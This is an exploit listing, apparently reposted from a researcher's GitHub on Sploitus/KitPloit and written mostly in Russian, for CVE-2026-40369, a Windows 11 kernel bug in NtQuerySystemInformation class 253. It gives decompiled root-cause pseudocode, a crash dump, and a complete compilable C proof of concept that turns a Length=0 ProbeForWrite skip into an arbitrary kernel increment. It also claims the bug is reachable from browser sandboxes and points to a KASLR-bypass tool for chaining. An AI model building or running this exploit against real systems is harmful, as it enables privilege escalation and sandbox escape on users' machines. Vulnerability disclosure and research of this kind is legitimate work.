Sploitus

CVE-2026-40369-EXPLOIT

kitploit · 2026-08-26

Exploit Code

MARKDOWN240 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ORINIMRON123-CVE-2026-40369-EXPLOIT
## Полный блог - https://pwn2nimron.com/blog

# CVE-2026-40369: Произвольное увеличение адреса ядра через NtQuerySystemInformation (Класс 253)

## Сводка

  * **Тип:** Произвольная запись в ядро (увеличение) — ПРИМИТИВ ПОВЫШЕНИЯ ПРИВИЛЕГИЙ
  * **Компонент:** ntoskrnl.exe — `ExpGetProcessInformation`
  * **Триггер:** `NtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)`
  * **Влияние:** Произвольное увеличение адреса ядра (примитив записи) из любого непривилегированного процесса
  * **Достижимо из песочницы Chrome:** ДА (NtQuerySystemInformation не заблокирован)
  * **Версии Windows:** Windows 11 24H2-25H2
  * **Надёжность эксплойта:** 100% детерминировано
  * **Обход KASLR можно объединить с prefetch tool** https://github.com/exploits-forsale/prefetch-tool



## Первопричина

`ExpGetProcessInformation` вызывается `ExpQuerySystemInformation` для классов информации 5 (SystemProcessInformation), 0x39, 0x94, 0xFC и **0xFD (253 = SystemProcessInformationExtension)**.

Место вызова в `ExpQuerySystemInformation+0xD7A`:

root@kitploit:~
    
    
    // Cases 5, 0x39, 0x94, 0xFC, 0xFD all share this call:
    result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);
    

Когда userBuffer также указывает на ядро (например, при определении требуемого размера буфера), функция переходит в:

root@kitploit:~
    
    
    // ExpGetProcessInformation, simplified:
    __int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass)
    {
        v91 = buffer;  // = NULL
    
        if (infoClass == 252) {
            v86 = v91;  // class 252 uses v86
            // ...
        } else {
            v86 = NULL;
            if (infoClass == 253) {
                v95 = v91;  // v95 = NULL (ОШИБКА: проверка адреса ядра отсутствует!)
                goto LABEL_11;
            }
            // class 5 path - uses v81, doesn't touch v95
        }
        v95 = NULL;  // class 252 path falls through here
    
    LABEL_11:
        // ... process iteration loop ...
        while (NextProcess) {
            if (infoClass == 253) {
                ++*v95;          // CRASH: v95 is Arbitrary Kernel Address
                v95[1] += ...;   // Would also crash
                v95[2] += ...;   // Would also crash
            }
            // class 5/252 paths handle NULL buffer correctly
        }
    }
    

Для класса 253 `v95` устанавливается в указатель на буфер (`v91 = buffer = NULL`) без какой-либо проверки на NULL. Затем цикл перебора процессов пытается увеличить счётчик по адресу `*v95`, что приводит к разыменованию NULL-указателя в режиме ядра → BSOD.

Классы 5 и 252 правильно обрабатывают NULL-буферы, поскольку используют разные переменные (`v81`/`v86`) и имеют соответствующие проверки перед разыменованием.

## Детали краша

root@kitploit:~
    
    
    PAGE_FAULT_IN_NONPAGED_AREA (50)
    Invalid system memory was referenced.  This cannot be protected by try-except.
    Typically the address is just plain bad or it is pointing at freed memory.
    Arguments:
    Arg1: ffff800041424344, memory referenced.
    Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    	bit 1 is set if the fault was due to a write, clear if a read.
    	bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    	bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    	- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    	bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
    Arg3: fffff803a06db22e, If non-zero, the instruction address which referenced the bad memory
    	address.
    Arg4: 0000000000000002, (reserved)
    
    IP_IN_PAGED_CODE: 
    nt!ExpGetProcessInformation+42e
    fffff803`a06db22e ff03            inc     dword ptr [rbx]
    
    STACK_TEXT:  
    *** WARNING: Unable to verify checksum for poc.exe
    Unable to load image C:\Users\vm\poc.exe, Win32 error 0n2
    ffffd380`d4dc52f8 fffff803`a01b2d82     : ffffd380`d4dc5378 00000000`00000001 00000000`00000100 fffff803`a02c4801 : nt!DbgBreakPointWithStatus
    ffffd380`d4dc5300 fffff803`a01b22ac     : 00000000`00000003 ffffd380`d4dc5460 fffff803`a02c4970 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
    ffffd380`d4dc5360 fffff803`a00fba97     : 00000000`00000000 fffff803`9fe46273 00000000`00000000 00000000`00000000 : nt!KeBugCheck2+0xb2c
    ffffd380`d4dc5af0 fffff803`9fe29dc0     : 00000000`00000050 ffff8000`41424344 00000000`00000002 ffffd380`d4dc5d90 : nt!KeBugCheckEx+0x107
    ffffd380`d4dc5b30 fffff803`9fe16d96     : fffff803`a0bd9680 ffff8000`00000000 ffff8000`41424344 0000007f`fffffff8 : nt!MiSystemFault+0x850
    ffffd380`d4dc5c20 fffff803`a02b9ecb     : 00000000`00000000 00000000`0000000f 00000000`00000000 0000000c`00000000 : nt!MmAccessFault+0x646
    ffffd380`d4dc5d90 fffff803`a06db22e     : 00000000`00000001 00000000`00000001 00000000`c0000004 00000000`000000fd : nt!KiPageFault+0x38b
    ffffd380`d4dc5f20 fffff803`a06dcfbf     : 00000000`00000000 00000000`00000000 ffff8701`f54e4118 00000000`00000000 : nt!ExpGetProcessInformation+0x42e
    ffffd380`d4dc6540 fffff803`a06e1061     : 00000000`00001000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ExpQuerySystemInformation+0xd7f
    ffffd380`d4dc6aa0 fffff803`a02be355     : 00000285`00b20000 ffff8701`f54e4080 ffff8701`f54e4080 00000000`00000000 : nt!NtQuerySystemInformation+0x91
    ffffd380`d4dc6ae0 00007ffd`5bc82154     : 00007ff6`f01c10ef 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 : nt!KiSystemServiceCopyEnd+0x25
    000000e8`7679faf8 00007ff6`f01c10ef     : 00007ff6`f01e20a0 00007ff6`f01e20a0 00007ffd`5bc82140 00000285`00da4eb5 : ntdll!NtQuerySystemInformation+0x14
    000000e8`7679fb00 00007ff6`f01c1374     : 00000000`00000000 00000285`00da3ab0 00000000`00000000 00000000`00000000 : poc+0x10ef
    000000e8`7679fb30 00007ffd`5a5ae8d7     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc+0x1374
    000000e8`7679fb70 00007ffd`5bbac48c     : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17
    000000e8`7679fba0 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c
    

## Воспроизведение

Минимальный воспроизводитель (непривилегированный, не требует специальных токенов):

root@kitploit:~
    
    
    /**
     * poc.c — NtQuerySystemInformation class 253 arbitrary kernel increment PoC
     *
     * Demonstrates arbitrary kernel DWORD increment via ProbeForWrite bypass.
     * Passes a kernel address as the output buffer with Length=0, causing
     * ExpGetProcessInformation to increment DWORDs at the target address
     * without validation.
     *
     * Build: cl /W4 /O2 poc.c /Fe:poc.exe /link ntdll.lib
     */
    
    #include <windows.h>
    #include <stdio.h>
    
    #pragma comment(lib, "ntdll.lib")
    
    typedef long NTSTATUS;
    
    #define SystemProcessInformationExtension 253
    
    typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(
        ULONG SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength
    );
    
    int main(void)
    {
        PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
            GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
    
        if (!pNtQSI) {
            printf("[-] Failed to resolve NtQuerySystemInformation\n");
            return 1;
        }
    
        PVOID target = (PVOID)0xffff800041424344ULL;
    
        printf("[*] NtQuerySystemInformation class 253 arbitrary kernel increment PoC\n");
        printf("[*] Target kernel address: %p\n", target);
        printf("[*] Will write:\n");
        printf("      [target+0] += num_processes  (DWORD increment)\n");
        printf("      [target+4] += total_threads  (DWORD add)\n");
        printf("      [target+8] += total_handles  (DWORD add)\n");
        printf("\n");
        printf("[!] This WILL bugcheck if the address is not mapped writable memory.\n");
        printf("[*] Press Enter to trigger...\n");
        getchar();
    
        ULONG needed = 0;
        NTSTATUS status = pNtQSI(
            SystemProcessInformationExtension,
            target,   /* kernel address — ProbeForWrite skipped because Length=0 */
            0,        /* Length=0 bypasses ProbeForWrite entirely */
            &needed
        );
    
        printf("[*] NtQuerySystemInformation returned: 0x%08lX\n", status);
        printf("[*] Required length: %lu\n", needed);
        printf("[+] Done. If you see this, the writes succeeded without bugcheck.\n");
    
        return 0;
    }
    
    

## Оценка эксплуатируемости — ПРОИЗВОЛЬНАЯ ЗАПИСЬ В ЯДРО

### Обход ProbeForWrite

`ExpQuerySystemInformation` вызывает `ProbeForWrite(buffer, Length, alignment)` перед диспетчеризацией. **ProbeForWrite с Length=0 — это полный NO-OP** — всё тело функции ограничено условием `if (Length)`.

Таким образом: `NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed)` передаёт непроверенный указатель на ядро в `ExpGetProcessInformation`.

### Примитив записи

Для каждого процесса в системе функция выполняет:

root@kitploit:~
    
    
    v95 = userBuffer;  // attacker-controlled pointer, NOT validated for class 253 with Length=0
    
    // For EACH process:
    ++*v95;              // *(uint32*)(addr+0) += 1
    v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count
    v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count
    

Это даёт:

  * **addr+0:** Увеличивается на 1 за процесс → итог = количество процессов в системе
  * **addr+4:** Сумма количества потоков всех процессов
  * **addr+8:** Сумма количества дескрипторов всех процессов



### Почему записи происходят, несмотря на LENGTH=0

`ExpGetProcessInformation` проверяет `if (length < 12)` и устанавливает `STATUS_INFO_LENGTH_MISMATCH`, но **НЕ возвращается досрочно**. Он сохраняет код ошибки и продолжает цикл перебора процессов, выполняя записи в `v95` для каждого процесса, прежде чем, наконец, вернуть код ошибки.

### Работает из песочницы Chrome, Edge, Firefox

Полностью достижимо:

  * NtQuerySystemInformation НЕ блокируется изоляцией win32k
  * Ограниченный токен НЕ предотвращает этот системный вызов
  * Уровень целостности «Не доверенный» НЕ предотвращает этот системный вызов



![alt text](https://assets.kitploit.com/production/public/readmes/30296/3a88c56ccdefb4c9c82b02f442f1f453e4741886ed8d0ed70c8894930db3dd0c.png)

## Благодарность

Найдено и написано Ори Нимроном (@orinimron123)